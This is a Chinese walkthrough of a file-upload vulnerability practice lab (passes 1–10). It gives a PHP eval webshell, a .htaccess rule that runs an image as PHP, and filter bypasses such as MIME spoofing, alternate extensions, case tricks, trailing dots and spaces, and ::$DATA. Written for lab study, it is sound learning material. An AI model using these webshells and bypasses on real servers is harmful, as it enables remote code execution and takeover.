搭建
用phpstudy搭建的。搭建很简单,下载源码,放置在phpstudy的根目录下,在phpstudy中创建。
步骤
这里上传的文件内容是一句话木马:
<?php
header("Constent-type:text/html:charset=1232");
echo "<pre>";
@eval($_POST['input']);
?>
pass-1
上传一个php文件试一试。传不上的,使用的白名单过滤的。我们考虑一下是什么原因传不上去? 是被校验了,那我们查看一下哪里校验的,先看看前端代码。
检查了一下前端代码,发现了一个checkFile函数。把检查函数删除掉试一下。上传一下,成功上传。这样我们可以把恶意代码上传到服务器上,去攻击我们可以在php文件中写入一句话木马
用蚁剑去连接。要知道url地址,就把页面中的图片拖拽到搜索框中,就能得到,填入参数,测试连接,连接成功。
连接成功
另外,那个我们在浏览器中禁用javascript,也能使得检测函数失败。在浏览器中输入about:config,禁用javascript
pass-2
我们还是试一下,上传php文件上传不了,还是查看一下前端代码,还是有检测函数,这次删掉还是不行。那说明在后端还是有检测。这样如何上传呢,看看后端源码,白名单,其中image/jpeg的 格式为 MIME的,我们是没有填写这个的,它是由浏览器自动生成的,那我们就可以去抓包修改。到达饶过的目的。MIME的字段为content-type
抓一下包
找到对应的Content-Type,将application/octet-stream改为image/jpeg 或者image/png或者 image/gif
上传成功上传成功就行了,不用蚁剑连接了。
pass-3
继续试一试php文件
这里直接就是黑名单,可以看出他的黑名单不全,那我们可以利用等价扩展名来利用。
等价扩展名:
扩展名 | 等价扩展名 |
---|---|
asp | asa,cer ,cdx |
aspx | ashx,asmx,ascx |
php | php2,php3,php4,php5,phps,phtml |
jsp | jspx,jspf |
那么我将我扩展名改掉。改成 php3
连接生效,这里还把文件名用时间重命名了。这里要复现成功,就要修改一个配置信息。
在conf文件夹中,找到httpd.conf,添加下面的信息
AddType application/x-httpd-php .php .phptml .php3 .php5
这一关,我在phpstudy上没有复现成,我用的apache服务搭建的。复现成功。
pass-4
这里等价扩展名不能用了。都被禁用了,他没有禁用图片文件的后缀名。我们是可以上传图片文件的。
那我们可以将php文件的后名改为jpg。上传成功,那要怎样去利用呢?
答:要用到Hypertext Access(超文本入口)
.htaccess文件是Apache服务器中的一个配置文件,他负责相关目录下的网页配置,通过它可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
我们利用它改变文件扩展名的功能,将我们上传的图片以php文件解析。.htaccess文件内容,将bug.jpg以php文件格式解析。
<FilesMatch “bug.jpg”>
SetHandler application/x-httpd-php
</FilesMatch>
上传图片。然后上传 .htaccess文件这样他们在同一个目录下。那就试试蚁剑是否能连接上。
没有连上。 因为版本不对。php用5.3.4的。再配置httpd.conf,把AllowOverride 的后面none 改成all
pass -5
这一关将.htaccess文件也禁止上传了,提示有一个readme.php文件。
还没做
pass-6
查看源码时,发现没有进行转换为小写,而且黑名单也没有对大写的拦截。那我们试一试大写后缀名的上传。
上传成功了,那么试一试蚁剑连接。
pass-7
这里查看源码,没有首位去空格的函数了。那就利用它。我们抓包弄。改包
先浏览文件。
再打开抓包工具(开启),之后点击上传。抓下包
发现不成。开始找问题,是php版本的问题要选个低版本的。php 5.2的版本就可以了上传成功。
pass-8
这里就说一下了,这里看源码是没有去除文件名最后有点的,利用它,还是抓包,修改上传的php的文件名,再后缀后加个点,就可以上传成功。(注意没成功可能是php版本不对,修改一下就行)。
上传成功后,若是靶场部署在Windows上,那么就会自动把点去除掉。蚁剑就可以连的。
pass-9
这里源码中没有对文件后缀中 ::$DATA的去除。还是抓包,改后缀名。上传能成功。
连接的时候把那个::$data删除,再连接。
pass-10
源码中 文件名的检查都有,那咋搞呢? 我们利用它检查的顺序啊。它先删除一个点,再删除一个空格,那我们抓包改后缀时,可以这样 **php. .**这样构造,经过检查后,就剩下 php. 就可以上传成功。连接蚁剑:
这里总结一下pass-7到pass-10,都是利用源码中过滤不严谨来进行饶过,
其中有 后缀加空格饶过 后缀加点饶过 后缀加::$data饶过 有利用过滤顺序构造来饶过。